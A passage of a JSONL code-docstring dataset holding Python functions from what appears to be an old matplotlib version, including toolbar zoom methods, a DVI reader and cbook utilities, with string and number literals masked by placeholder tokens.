None<EOL>self.push_current()<EOL>self.release(event)<EOL>", "docstring": "the release mouse button callback in zoom to rect mode", "id": "f17207:c13:m17"}
{"signature": "def draw(self):", "body": "for a in self.canvas.figure.get_axes():<EOL><INDENT>xaxis = getattr(a, '<STR_LIT>', None)<EOL>yaxis = getattr(a, '<STR_LIT>', None)<EOL>locators = []<EOL>if xaxis is not None:<EOL><INDENT>locators.append(xaxis.get_major_locator())<EOL>locators.append(xaxis.get_minor_locator())<EOL><DEDENT>if yaxis is not None:<EOL><INDENT>locators.append(yaxis.get_major_locator())<EOL>locators.append(yaxis.get_minor_locator())<EOL><DEDENT>for loc in locators:<EOL><INDENT>loc.refresh()<EOL><DEDENT><DEDENT>self.canvas.draw()<EOL>", "docstring": "redraw the canvases, update the locators", "id": "f17207:c13:m18"}
{"signature": "def _update_view(self):", "body": "lims = self._views()<EOL>if lims is None:  return<EOL>pos = self._positions()<EOL>if pos is None: return<EOL>for i, a in enumerate(self.canvas.figure.get_axes()):<EOL><INDENT>xmin, xmax, ymin, ymax = lims[i]<EOL>a.set_xlim((xmin, xmax))<EOL>a.set_ylim((ymin, ymax))<EOL>a.set_position( pos[i][<NUM_LIT:0>], '<STR_LIT>' )<EOL>a.set_position( pos[i][<NUM_LIT:1>], '<STR_LIT>' )<EOL><DEDENT>self.draw()<EOL>", "docstring": "update the viewlim and position from the view and\n        position stack for each axes", "id": "f17207:c13:m19"}
{"signature": "def save_figure(self, *args):", "body": "raise NotImplementedError<EOL>", "docstring": "save the current figure", "id": "f17207:c13:m20"}
{"signature": "def set_cursor(self, cursor):", "body": "pass<EOL>", "docstring": "Set the current cursor to one of the :class:`Cursors`\nenums values", "id": "f17207:c13:m21"}
{"signature": "def update(self):", "body": "self._views.clear()<EOL>self._positions.clear()<EOL>self.set_history_buttons()<EOL>", "docstring": "reset the axes stack", "id": "f17207:c13:m22"}
{"signature": "def zoom(self, *args):", "body": "if self._active == '<STR_LIT>':<EOL><INDENT>self._active = None<EOL><DEDENT>else:<EOL><INDENT>self._active = '<STR_LIT>'<EOL><DEDENT>if self._idPress is not None:<EOL><INDENT>self._idPress=self.canvas.mpl_disconnect(self._idPress)<EOL>self.mode = '<STR_LIT>'<EOL><DEDENT>if self._idRelease is not None:<EOL><INDENT>self._idRelease=self.canvas.mpl_disconnect(self._idRelease)<EOL>self.mode = '<STR_LIT>'<EOL><DEDENT>if  self._active:<EOL><INDENT>self._idPress = self.canvas.mpl_connect('<STR_LIT>', self.press_zoom)<EOL>self._idRelease = self.canvas.mpl_connect('<STR_LIT>', self.release_zoom)<EOL>self.mode = '<STR_LIT>'<EOL>self.canvas.widgetlock(self)<EOL><DEDENT>else:<EOL><INDENT>self.canvas.widgetlock.release(self)<EOL><DEDENT>for a in self.canvas.figure.get_axes():<EOL><INDENT>a.set_navigate_mode(self._active)<EOL><DEDENT>self.set_message(self.mode)<EOL>", "docstring": "activate zoom to rect mode", "id": "f17207:c13:m23"}
{"signature": "def set_history_buttons(self):", "body": "pass<EOL>", "docstring": "enable or disable back/forward button", "id": "f17207:c13:m24"}
{"signature": "def _fix2comp(num):", "body": "assert <NUM_LIT:0> <= num < <NUM_LIT:2>**<NUM_LIT:32><EOL>if num & <NUM_LIT:2>**<NUM_LIT>:<EOL><INDENT>return num - <NUM_LIT:2>**<NUM_LIT:32><EOL><DEDENT>else:<EOL><INDENT>return num<EOL><DEDENT>", "docstring": "Convert from two's complement to negative.", "id": "f17208:m0"}
{"signature": "def _mul2012(num1, num2):", "body": "<EOL>return (num1*num2) >> <NUM_LIT:20><EOL>", "docstring": "Multiply two numbers in 20.12 fixed point format.", "id": "f17208:m1"}
{"signature": "def find_tex_file(filename, format=None):", "body": "cmd = ['<STR_LIT>']<EOL>if format is not None:<EOL><INDENT>cmd += ['<STR_LIT>' + format]<EOL><DEDENT>cmd += [filename]<EOL>matplotlib.verbose.report('<STR_LIT>'% (filename,cmd), '<STR_LIT>')<EOL>pipe = subprocess.Popen(cmd, stdout=subprocess.PIPE)<EOL>result = pipe.communicate()[<NUM_LIT:0>].rstrip()<EOL>matplotlib.verbose.report('<STR_LIT>' % result,<EOL>'<STR_LIT>')<EOL>return result<EOL>", "docstring": "Call kpsewhich to find a file in the texmf tree.\nIf format is not None, it is used as the value for the --format option.\nSee the kpathsea documentation for more information.\n\nApparently most existing TeX distributions on Unix-like systems\nuse kpathsea. I hear MikTeX (a popular distribution on Windows)\ndoesn't use kpathsea, so what do we do? (TODO)", "id": "f17208:m2"}
{"signature": "def __init__(self, filename, dpi):", "body": "matplotlib.verbose.report('<STR_LIT>' + filename, '<STR_LIT>')<EOL>self.file = open(filename, '<STR_LIT:rb>')<EOL>self.dpi = dpi<EOL>self.fonts = {}<EOL>self.state = _dvistate.pre<EOL>", "docstring": "Initialize the object. This takes the filename as input and\nopens the file; actually reading the file happens when\niterating through the pages of the file.", "id": "f17208:c0:m0"}
{"signature": "def __iter__(self):", "body": "while True:<EOL><INDENT>have_page = self._read()<EOL>if have_page:<EOL><INDENT>yield self._output()<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Iterate through the pages of the file.\n\nReturns (text, pages) pairs, where:\n  text is a list of (x, y, fontnum, glyphnum, width) tuples\n  boxes is a list of (x, y, height, width) tuples\n\nThe coordinates are transformed into a standard Cartesian\ncoordinate system at the dpi value given when initializing.\nThe coordinates are floating point numbers, but otherwise\nprecision is not lost and coordinate values are not clipped to\nintegers.", "id": "f17208:c0:m1"}
{"signature": "def close(self):", "body": "if not self.file.closed:<EOL><INDENT>self.file.close()<EOL><DEDENT>", "docstring": "Close the underlying file if it is open.", "id": "f17208:c0:m2"}
{"signature": "def _output(self):", "body": "minx, miny, maxx, maxy = np.inf, np.inf, -np.inf, -np.inf<EOL>maxy_pure = -np.inf<EOL>for elt in self.text + self.boxes:<EOL><INDENT>if len(elt) == <NUM_LIT:4>:   <EOL><INDENT>x,y,h,w = elt<EOL>e = <NUM_LIT:0>           <EOL><DEDENT>else:               <EOL><INDENT>x,y,font,g,w = elt<EOL>h = _mul2012(font._scale, font._tfm.height[g])<EOL>e = _mul2012(font._scale, font._tfm.depth[g])<EOL><DEDENT>minx = min(minx, x)<EOL>miny = min(miny, y - h)<EOL>maxx = max(maxx, x + w)<EOL>maxy = max(maxy, y + e)<EOL>maxy_pure = max(maxy_pure, y)<EOL><DEDENT>if self.dpi is None:<EOL><INDENT>return mpl_cbook.Bunch(text=self.text, boxes=self.boxes,<EOL>width=maxx-minx, height=maxy_pure-miny,<EOL>descent=maxy-maxy_pure)<EOL><DEDENT>d = self.dpi / (<NUM_LIT> * <NUM_LIT:2>**<NUM_LIT:16>) <EOL>text =  [ ((x-minx)*d, (maxy-y)*d, f, g, w*d)<EOL>for (x,y,f,g,w) in self.text ]<EOL>boxes = [ ((x-minx)*d, (maxy-y)*d, h*d, w*d) for (x,y,h,w) in self.boxes ]<EOL>return mpl_cbook.Bunch(text=text, boxes=boxes,<EOL>width=(maxx-minx)*d,<EOL>height=(maxy_pure-miny)*d,<EOL>descent=(maxy-maxy_pure)*d)<EOL>", "docstring": "Output the text and boxes belonging to the most recent page.\npage = dvi._output()", "id": "f17208:c0:m3"}
{"signature": "def _read(self):", "body": "while True:<EOL><INDENT>byte = ord(self.file.read(<NUM_LIT:1>))<EOL>self._dispatch(byte)<EOL><INDENT>if self.state == _dvistate.inpage:<EOL><INDENT>matplotlib.verbose.report(<EOL>'<STR_LIT>' %<EOL>(byte, self.h, self.v),<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if byte == <NUM_LIT>: <EOL><INDENT>return True<EOL><DEDENT>if self.state == _dvistate.post_post: <EOL><INDENT>self.close()<EOL>return False<EOL><DEDENT><DEDENT>", "docstring": "Read one page from the file. Return True if successful,\nFalse if there were no more pages.", "id": "f17208:c0:m4"}
{"signature": "def _arg(self, nbytes, signed=False):", "body": "str = self.file.read(nbytes)<EOL>value = ord(str[<NUM_LIT:0>])<EOL>if signed and value >= <NUM_LIT>:<EOL><INDENT>value = value - <NUM_LIT><EOL><DEDENT>for i in range(<NUM_LIT:1>, nbytes):<EOL><INDENT>value = <NUM_LIT>*value + ord(str[i])<EOL><DEDENT>return value<EOL>", "docstring": "Read and return an integer argument \"nbytes\" long.\nSignedness is determined by the \"signed\" keyword.", "id": "f17208:c0:m5"}
{"signature": "def _dispatch(self, byte):", "body": "if <NUM_LIT:0> <= byte <= <NUM_LIT>: self._set_char(byte)<EOL>elif byte == <NUM_LIT>: self._set_char(self._arg(<NUM_LIT:1>))<EOL>elif byte == <NUM_LIT>: self._set_char(self._arg(<NUM_LIT:2>))<EOL>elif byte == <NUM_LIT>: self._set_char(self._arg(<NUM_LIT:3>))<EOL>elif byte == <NUM_LIT>: self._set_char(self._arg(<NUM_LIT:4>, True))<EOL>elif byte == <NUM_LIT>: self._set_rule(self._arg(<NUM_LIT:4>, True), self._arg(<NUM_LIT:4>, True))<EOL>elif byte == <NUM_LIT>: self._put_char(self._arg(<NUM_LIT:1>))<EOL>elif byte == <NUM_LIT>: self._put_char(self._arg(<NUM_LIT:2>))<EOL>elif byte == <NUM_LIT>: self._put_char(self._arg(<NUM_LIT:3>))<EOL>elif byte == <NUM_LIT>: self._put_char(self._arg(<NUM_LIT:4>, True))<EOL>elif byte == <NUM_LIT>: self._put_rule(self._arg(<NUM_LIT:4>, True), self._arg(<NUM_LIT:4>, True))<EOL>elif byte == <NUM_LIT>: self._nop()<EOL>elif byte == <NUM_LIT>: self._bop(*[self._arg(<NUM_LIT:4>, True) for i in range(<NUM_LIT:11>)])<EOL>elif byte == <NUM_LIT>: self._eop()<EOL>elif byte == <NUM_LIT>: self._push()<EOL>elif byte == <NUM_LIT>: self._pop()<EOL>elif byte == <NUM_LIT>: self._right(self._arg(<NUM_LIT:1>, True))<EOL>elif byte == <NUM_LIT>: self._right(self._arg(<NUM_LIT:2>, True))<EOL>elif byte == <NUM_LIT>: self._right(self._arg(<NUM_LIT:3>, True))<EOL>elif byte == <NUM_LIT>: self._right(self._arg(<NUM_LIT:4>, True))<EOL>elif byte == <NUM_LIT>: self._right_w(None)<EOL>elif byte == <NUM_LIT>: self._right_w(self._arg(<NUM_LIT:1>, True))<EOL>elif byte == <NUM_LIT>: self._right_w(self._arg(<NUM_LIT:2>, True))<EOL>elif byte == <NUM_LIT>: self._right_w(self._arg(<NUM_LIT:3>, True))<EOL>elif byte == <NUM_LIT>: self._right_w(self._arg(<NUM_LIT:4>, True))<EOL>elif byte == <NUM_LIT>: self._right_x(None)<EOL>elif byte == <NUM_LIT>: self._right_x(self._arg(<NUM_LIT:1>, True))<EOL>elif byte == <NUM_LIT>: self._right_x(self._arg(<NUM_LIT:2>, True))<EOL>elif byte == <NUM_LIT>: self._right_x(self._arg(<NUM_LIT:3>, True))<EOL>elif byte == <NUM_LIT>: self._right_x(self._arg(<NUM_LIT:4>, True))<EOL>elif byte == <NUM_LIT>: self._down(self._arg(<NUM_LIT:1>, True))<EOL>elif byte == <NUM_LIT>: self._down(self._arg(<NUM_LIT:2>, True))<EOL>elif byte == <NUM_LIT>: self._down(self._arg(<NUM_LIT:3>, True))<EOL>elif byte == <NUM_LIT>: self._down(self._arg(<NUM_LIT:4>, True))<EOL>elif byte == <NUM_LIT>: self._down_y(None)<EOL>elif byte == <NUM_LIT>: self._down_y(self._arg(<NUM_LIT:1>, True))<EOL>elif byte == <NUM_LIT>: self._down_y(self._arg(<NUM_LIT:2>, True))<EOL>elif byte == <NUM_LIT>: self._down_y(self._arg(<NUM_LIT:3>, True))<EOL>elif byte == <NUM_LIT>: self._down_y(self._arg(<NUM_LIT:4>, True))<EOL>elif byte == <NUM_LIT>: self._down_z(None)<EOL>elif byte == <NUM_LIT>: self._down_z(self._arg(<NUM_LIT:1>, True))<EOL>elif byte == <NUM_LIT>: self._down_z(self._arg(<NUM_LIT:2>, True))<EOL>elif byte == <NUM_LIT>: self._down_z(self._arg(<NUM_LIT:3>, True))<EOL>elif byte == <NUM_LIT>: self._down_z(self._arg(<NUM_LIT:4>, True))<EOL>elif <NUM_LIT> <= byte <= <NUM_LIT>: self._fnt_num(byte-<NUM_LIT>)<EOL>elif byte == <NUM_LIT>: self._fnt_num(self._arg(<NUM_LIT:1>))<EOL>elif byte == <NUM_LIT>: self._fnt_num(self._arg(<NUM_LIT:2>))<EOL>elif byte == <NUM_LIT>: self._fnt_num(self._arg(<NUM_LIT:3>))<EOL>elif byte == <NUM_LIT>: self._fnt_num(self._arg(<NUM_LIT:4>, True))<EOL>elif <NUM_LIT> <= byte <= <NUM_LIT>:<EOL><INDENT>len = self._arg(byte-<NUM_LIT>)<EOL>special = self.file.read(len)<EOL>self._xxx(special)<EOL><DEDENT>elif <NUM_LIT> <= byte <= <NUM_LIT>:<EOL><INDENT>k = self._arg(byte-<NUM_LIT>, byte==<NUM_LIT>)<EOL>c, s, d, a, l = [ self._arg(x) for x in (<NUM_LIT:4>, <NUM_LIT:4>, <NUM_LIT:4>, <NUM_LIT:1>, <NUM_LIT:1>) ]<EOL>n = self.file.read(a+l)<EOL>self._fnt_def(k, c, s, d, a, l, n)<EOL><DEDENT>elif byte == <NUM_LIT>:<EOL><INDENT>i, num, den, mag, k = [ self._arg(x) for x in (<NUM_LIT:1>, <NUM_LIT:4>, <NUM_LIT:4>, <NUM_LIT:4>, <NUM_LIT:1>) ]<EOL>x = self.file.read(k)<EOL>self._pre(i, num, den, mag, x)<EOL><DEDENT>elif byte == <NUM_LIT>: self._post()<EOL>elif byte == <NUM_LIT>: self._post_post()<EOL>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"%byte)<EOL><DEDENT>", "docstring": "Based on the opcode \"byte\", read the correct kinds of\narguments from the dvi file and call the method implementing\nthat opcode with those arguments.", "id": "f17208:c0:m6"}
{"signature": "def _width_of(self, char):", "body": "width = self._tfm.width.get(char, None)<EOL>if width is not None:<EOL><INDENT>return _mul2012(width, self._scale)<EOL><DEDENT>matplotlib.verbose.report(<EOL>'<STR_LIT>' % (char, self.texname),<EOL>'<STR_LIT>')<EOL>return <NUM_LIT:0><EOL>", "docstring": "Width of char in dvi units. For internal use by dviread.py.", "id": "f17208:c1:m3"}
{"signature": "def _parse(self, file):", "body": "for line in file:<EOL><INDENT>line = line.strip()<EOL>if line == '<STR_LIT>' or line.startswith('<STR_LIT:%>'):<EOL><INDENT>continue<EOL><DEDENT>words, pos = [], <NUM_LIT:0><EOL>while pos < len(line):<EOL><INDENT>if line[pos] == '<STR_LIT:\">': <EOL><INDENT>pos += <NUM_LIT:1><EOL>end = line.index('<STR_LIT:\">', pos)<EOL>words.append(line[pos:end])<EOL>pos = end + <NUM_LIT:1><EOL><DEDENT>else:                <EOL><INDENT>end = line.find('<STR_LIT:U+0020>', pos+<NUM_LIT:1>)<EOL>if end == -<NUM_LIT:1>: end = len(line)<EOL>words.append(line[pos:end])<EOL>pos = end<EOL><DEDENT>while pos < len(line) and line[pos] == '<STR_LIT:U+0020>':<EOL><INDENT>pos += <NUM_LIT:1><EOL><DEDENT><DEDENT>self._register(words)<EOL><DEDENT>", "docstring": "Parse each line into words.", "id": "f17208:c4:m2"}
{"signature": "def _register(self, words):", "body": "texname, psname = words[:<NUM_LIT:2>]<EOL>effects, encoding, filename = [], None, None<EOL>for word in words[<NUM_LIT:2>:]:<EOL><INDENT>if not word.startswith('<STR_LIT:<>'):<EOL><INDENT>effects.append(word)<EOL><DEDENT>else:<EOL><INDENT>word = word.lstrip('<STR_LIT:<>')<EOL>if word.startswith('<STR_LIT:[>'):<EOL><INDENT>assert encoding is None<EOL>encoding = word[<NUM_LIT:1>:]<EOL><DEDENT>elif word.endswith('<STR_LIT>'):<EOL><INDENT>assert encoding is None<EOL>encoding = word<EOL><DEDENT>else:<EOL><INDENT>assert filename is None<EOL>filename = word<EOL><DEDENT><DEDENT><DEDENT>self._font[texname] = mpl_cbook.Bunch(<EOL>texname=texname, psname=psname, effects=effects,<EOL>encoding=encoding, filename=filename)<EOL>", "docstring": "Register a font described by \"words\".\n\n        The format is, AFAIK: texname fontname [effects and filenames]\n        Effects are PostScript snippets like \".177 SlantFont\",\n        filenames begin with one or two less-than signs. A filename\n        ending in enc is an encoding file, other filenames are font\n        files. This can be overridden with a left bracket: <[foobar\n        indicates an encoding file named foobar.\n\n        There is some difference between <foo.pfb and <<bar.pfb in\n        subsetting, but I have no example of << in my TeX installation.", "id": "f17208:c4:m3"}
{"signature": "def strip_math(s):", "body": "remove = (r'<STR_LIT>', r'<STR_LIT>', r'<STR_LIT>', r'<STR_LIT>', r'<STR_LIT>', '<STR_LIT:\\\\>', '<STR_LIT:{>', '<STR_LIT:}>')<EOL>s = s[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>for r in remove:  s = s.replace(r,'<STR_LIT>')<EOL>return s<EOL>", "docstring": "remove latex formatting from mathtext", "id": "f17209:m1"}
{"signature": "def unique(x):", "body": "return list(dict([ (val, <NUM_LIT:1>) for val in x]).keys())<EOL>", "docstring": "Return a list of unique elements of *x*", "id": "f17209:m2"}
{"signature": "def iterable(obj):", "body": "try: len(obj)<EOL>except: return False<EOL>return True<EOL>", "docstring": "return true if *obj* is iterable", "id": "f17209:m3"}
{"signature": "def is_string_like(obj):", "body": "if isinstance(obj, str): return True<EOL>if ma.isMaskedArray(obj):<EOL><INDENT>if obj.ndim == <NUM_LIT:0> and obj.dtype.kind in '<STR_LIT>':<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>try: obj + '<STR_LIT>'<EOL>except (TypeError, ValueError): return False<EOL>return True<EOL>", "docstring": "Return True if *obj* looks like a string", "id": "f17209:m4"}
{"signature": "def is_sequence_of_strings(obj):", "body": "if not iterable(obj): return False<EOL>if is_string_like(obj): return False<EOL>for o in obj:<EOL><INDENT>if not is_string_like(o): return False<EOL><DEDENT>return True<EOL>", "docstring": "Returns true if *obj* is iterable and contains strings", "id": "f17209:m5"}
{"signature": "def is_writable_file_like(obj):", "body": "return hasattr(obj, '<STR_LIT>') and callable(obj.write)<EOL>", "docstring": "return true if *obj* looks like a file object with a *write* method", "id": "f17209:m6"}
{"signature": "def is_scalar(obj):", "body": "return not is_string_like(obj) and not iterable(obj)<EOL>", "docstring": "return true if *obj* is not string like and is not iterable", "id": "f17209:m7"}
{"signature": "def is_numlike(obj):", "body": "try: obj+<NUM_LIT:1><EOL>except TypeError: return False<EOL>else: return True<EOL>", "docstring": "return true if *obj* looks like a number", "id": "f17209:m8"}
{"signature": "def to_filehandle(fname, flag='<STR_LIT:r>', return_opened=False):", "body": "if is_string_like(fname):<EOL><INDENT>if fname.endswith('<STR_LIT>'):<EOL><INDENT>import gzip<EOL>fh = gzip.open(fname, flag)<EOL><DEDENT>else:<EOL><INDENT>fh = file(fname, flag)<EOL><DEDENT>opened = True<EOL><DEDENT>elif hasattr(fname, '<STR_LIT>'):<EOL><INDENT>fh = fname<EOL>opened = False<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if return_opened:<EOL><INDENT>return fh, opened<EOL><DEDENT>return fh<EOL>", "docstring": "*fname* can be a filename or a file handle.  Support for gzipped\nfiles is automatic, if the filename ends in .gz.  *flag* is a\nread/write flag for :func:`file`", "id": "f17209:m9"}
{"signature": "def flatten(seq, scalarp=is_scalar_or_string):", "body": "for item in seq:<EOL><INDENT>if scalarp(item): yield item<EOL>else:<EOL><INDENT>for subitem in flatten(item, scalarp):<EOL><INDENT>yield subitem<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "this generator flattens nested containers such as\n\n>>> l=( ('John', 'Hunter'), (1,23), [[[[42,(5,23)]]]])\n\nso that\n\n>>> for i in flatten(l): print i,\nJohn Hunter 1 23 42 5 23\n\nBy: Composite of Holger Krekel and Luther Blissett\nFrom: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/121294\nand Recipe 1.12 in cookbook", "id": "f17209:m11"}
{"signature": "def soundex(name, len=<NUM_LIT:4>):", "body": "<EOL>soundex_digits = '<STR_LIT>'<EOL>sndx = '<STR_LIT>'<EOL>fc = '<STR_LIT>'<EOL>for c in name.upper():<EOL><INDENT>if c.isalpha():<EOL><INDENT>if not fc: fc = c   <EOL>d = soundex_digits[ord(c)-ord('<STR_LIT:A>')]<EOL>if not sndx or (d != sndx[-<NUM_LIT:1>]):<EOL><INDENT>sndx += d<EOL><DEDENT><DEDENT><DEDENT>sndx = fc + sndx[<NUM_LIT:1>:]<EOL>sndx = sndx.replace('<STR_LIT:0>', '<STR_LIT>')<EOL>return (sndx + (len * '<STR_LIT:0>'))[:len]<EOL>", "docstring": "soundex module conforming to Odell-Russell algorithm", "id": "f17209:m12"}
{"signature": "def mkdirs(newdir, mode=<NUM_LIT>):", "body": "try:<EOL><INDENT>if not os.path.exists(newdir):<EOL><INDENT>parts = os.path.split(newdir)<EOL>for i in range(<NUM_LIT:1>, len(parts)+<NUM_LIT:1>):<EOL><INDENT>thispart = os.path.join(*parts[:i])<EOL>if not os.path.exists(thispart):<EOL><INDENT>os.makedirs(thispart, mode)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>except OSError as err:<EOL><INDENT>if err.errno != errno.EEXIST or not os.path.isdir(newdir):<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "make directory *newdir* recursively, and set *mode*.  Equivalent to ::\n\n    > mkdir -p NEWDIR\n    > chmod MODE NEWDIR", "id": "f17209:m13"}
{"signature": "def dict_delall(d, keys):", "body": "for key in keys:<EOL><INDENT>try: del d[key]<EOL>except KeyError: pass<EOL><DEDENT>", "docstring": "delete all of the *keys* from the :class:`dict` *d*", "id": "f17209:m14"}
{"signature": "def get_split_ind(seq, N):", "body": "sLen = <NUM_LIT:0><EOL>for (word, ind) in zip(seq, list(range(len(seq)))):<EOL><INDENT>sLen += len(word) + <NUM_LIT:1>  <EOL>if sLen>=N: return ind<EOL><DEDENT>return len(seq)<EOL>", "docstring": "*seq* is a list of words.  Return the index into seq such that::\n\n    len(' '.join(seq[:ind])<=N", "id": "f17209:m15"}
{"signature": "def wrap(prefix, text, cols):", "body": "pad = '<STR_LIT:U+0020>'*len(prefix.expandtabs())<EOL>available = cols - len(pad)<EOL>seq = text.split('<STR_LIT:U+0020>')<EOL>Nseq = len(seq)<EOL>ind = <NUM_LIT:0><EOL>lines = []<EOL>while ind<Nseq:<EOL><INDENT>lastInd = ind<EOL>ind += get_split_ind(seq[ind:], available)<EOL>lines.append(seq[lastInd:ind])<EOL><DEDENT>ret = prefix + '<STR_LIT:U+0020>'.join(lines[<NUM_LIT:0>]) + '<STR_LIT:\\n>'<EOL>for line in lines[<NUM_LIT:1>:]:<EOL><INDENT>ret += pad + '<STR_LIT:U+0020>'.join(line) + '<STR_LIT:\\n>'<EOL><DEDENT>return ret<EOL>", "docstring": "wrap *text* with *prefix* at length *cols*", "id": "f17209:m16"}
{"signature": "def dedent(s):", "body": "<EOL>if not s:      <EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>match = _find_dedent_regex.match(s)<EOL>if match is None:<EOL><INDENT>return s<EOL><DEDENT>nshift = match.end(<NUM_LIT:1>) - match.start(<NUM_LIT:1>)<EOL>if nshift == <NUM_LIT:0>:<EOL><INDENT>return s<EOL><DEDENT>unindent = _dedent_regex.get(nshift, None)<EOL>if unindent is None:<EOL><INDENT>unindent = re.compile(\"<STR_LIT>\" % nshift)<EOL>_dedent_regex[nshift] = unindent<EOL><DEDENT>result = unindent.sub(\"<STR_LIT:\\n>\", s).strip()<EOL>return result<EOL>", "docstring": "Remove excess indentation from docstring *s*.\n\nDiscards any leading blank lines, then removes up to n whitespace\ncharacters from each line, where n is the number of leading\nwhitespace characters in the first line. It differs from\ntextwrap.dedent in its deletion of leading blank lines and its use\nof the first non-blank line to determine the indentation.\n\nIt is also faster in most cases.", "id": "f17209:m17"}
{"signature": "def listFiles(root, patterns='<STR_LIT:*>', recurse=<NUM_LIT:1>, return_folders=<NUM_LIT:0>):", "body": "import os.path, fnmatch<EOL>pattern_list = patterns.split('<STR_LIT:;>')<EOL>class Bunch:<EOL><INDENT>def __init__(self, **kwds): self.__dict__.update(kwds)<EOL><DEDENT>arg = Bunch(recurse=recurse, pattern_list=pattern_list,<EOL>return_folders=return_folders, results=[])<EOL>def visit(arg, dirname, files):<EOL><INDENT>for name in files:<EOL><INDENT>fullname = os.path.normpath(os.path.join(dirname, name))<EOL>if arg.return_folders or os.path.isfile(fullname):<EOL><INDENT>for pattern in arg.pattern_list:<EOL><INDENT>if fnmatch.fnmatch(name, pattern):<EOL><INDENT>arg.results.append(fullname)<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if not arg.recurse: files[:]=[]<EOL><DEDENT>os.path.walk(root, visit, arg)<EOL>return arg.results<EOL>", "docstring": "Recursively list files\n\nfrom Parmar and Martelli in the Python Cookbook", "id": "f17209:m18"}
{"signature": "def get_recursive_filelist(args):", "body": "files = []<EOL>for arg in args:<EOL><INDENT>if os.path.isfile(arg):<EOL><INDENT>files.append(arg)<EOL>continue<EOL><DEDENT>if os.path.isdir(arg):<EOL><INDENT>newfiles = listFiles(arg, recurse=<NUM_LIT:1>, return_folders=<NUM_LIT:1>)<EOL>files.extend(newfiles)<EOL><DEDENT><DEDENT>return [f for f in files if not os.path.islink(f)]<EOL>", "docstring": "Recurs all the files and dirs in *args* ignoring symbolic links\nand return the files as a list of strings", "id": "f17209:m19"}
{"signature": "def pieces(seq, num=<NUM_LIT:2>):", "body": "start = <NUM_LIT:0><EOL>while <NUM_LIT:1>:<EOL><INDENT>item = seq[start:start+num]<EOL>if not len(item): break<EOL>yield item<EOL>start += num<EOL><DEDENT>", "docstring": "Break up the *seq* into *num* tuples", "id": "f17209:m20"}
{"signature": "def allequal(seq):", "body": "if len(seq)<<NUM_LIT:2>: return True<EOL>val = seq[<NUM_LIT:0>]<EOL>for i in range(<NUM_LIT:1>, len(seq)):<EOL><INDENT>thisval = seq[i]<EOL>if thisval != val: return False<EOL><DEDENT>return True<EOL>", "docstring": "Return *True* if all elements of *seq* compare equal.  If *seq* is\n0 or 1 length, return *True*", "id": "f17209:m22"}
{"signature": "def alltrue(seq):", "body": "if not len(seq): return False<EOL>for val in seq:<EOL><INDENT>if not val: return False<EOL><DEDENT>return True<EOL>", "docstring": "Return *True* if all elements of *seq* evaluate to *True*.  If\n*seq* is empty, return *False*.", "id": "f17209:m23"}
{"signature": "def onetrue(seq):", "body": "if not len(seq): return False<EOL>for val in seq:<EOL><INDENT>if val: return True<EOL><DEDENT>return False<EOL>", "docstring": "Return *True* if one element of *seq* is *True*.  It *seq* is\nempty, return *False*.", "id": "f17209:m24"}
{"signature": "def allpairs(x):", "body": "return [ (s, f) for i, f in enumerate(x) for s in x[i+<NUM_LIT:1>:] ]<EOL>", "docstring": "return all possible pairs in sequence *x*\n\nCondensed by Alex Martelli from this thread_ on c.l.python\n\n.. _thread: http://groups.google.com/groups?q=all+pairs+group:*python*&hl=en&lr=&ie=UTF-8&selm=mailman.4028.1096403649.5135.python-list%40python.org&rnum=1", "id": "f17209:m25"}
{"signature": "def popd(d, *args):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>if len(args)==<NUM_LIT:1>:<EOL><INDENT>key = args[<NUM_LIT:0>]<EOL>val = d[key]<EOL>del d[key]<EOL><DEDENT>elif len(args)==<NUM_LIT:2>:<EOL><INDENT>key, default = args<EOL>val = d.get(key, default)<EOL>try: del d[key]<EOL>except KeyError: pass<EOL><DEDENT>return val<EOL>", "docstring": "Should behave like python2.3 :meth:`dict.pop` method; *d* is a\n:class:`dict`::\n\n  # returns value for key and deletes item; raises a KeyError if key\n  # is not in dict\n  val = popd(d, key)\n\n  # returns value for key if key exists, else default.  Delete key,\n  # val item if it exists.  Will not raise a KeyError\n  val = popd(d, key, default)", "id": "f17209:m26"}
{"signature": "def popall(seq):", "body": "for i in range(len(seq)): seq.pop()<EOL>", "docstring": "empty a list", "id": "f17209:m27"}
{"signature": "def finddir(o, match, case=False):", "body": "if case:<EOL><INDENT>names = [(name,name) for name in dir(o) if is_string_like(name)]<EOL><DEDENT>else:<EOL><INDENT>names = [(name.lower(), name) for name in dir(o) if is_string_like(name)]<EOL>match = match.lower()<EOL><DEDENT>return [orig for name, orig in names if name.find(match)>=<NUM_LIT:0>]<EOL>", "docstring": "return all attributes of *o* which match string in match.  if case\nis True require an exact case match.", "id": "f17209:m28"}
{"signature": "def reverse_dict(d):", "body": "return dict([(v,k) for k,v in list(d.items())])<EOL>", "docstring": "reverse the dictionary -- may lose data if values are not unique!", "id": "f17209:m29"}
{"signature": "def report_memory(i=<NUM_LIT:0>):  ", "body": "pid = os.getpid()<EOL>if sys.platform=='<STR_LIT>':<EOL><INDENT>a2 = os.popen('<STR_LIT>' % pid).readlines()<EOL>mem = int(a2[-<NUM_LIT:1>].strip())<EOL><DEDENT>elif sys.platform.startswith('<STR_LIT>'):<EOL><INDENT>a2 = os.popen('<STR_LIT>' % pid).readlines()<EOL>mem = int(a2[<NUM_LIT:1>].split()[<NUM_LIT:1>])<EOL><DEDENT>elif sys.platform.startswith('<STR_LIT>'):<EOL><INDENT>a2 = os.popen('<STR_LIT>' % pid).readlines()<EOL>mem = int(a2[<NUM_LIT:1>].split()[<NUM_LIT:0>])<EOL><DEDENT>return mem<EOL>", "docstring": "return the memory consumed by process", "id": "f17209:m30"}
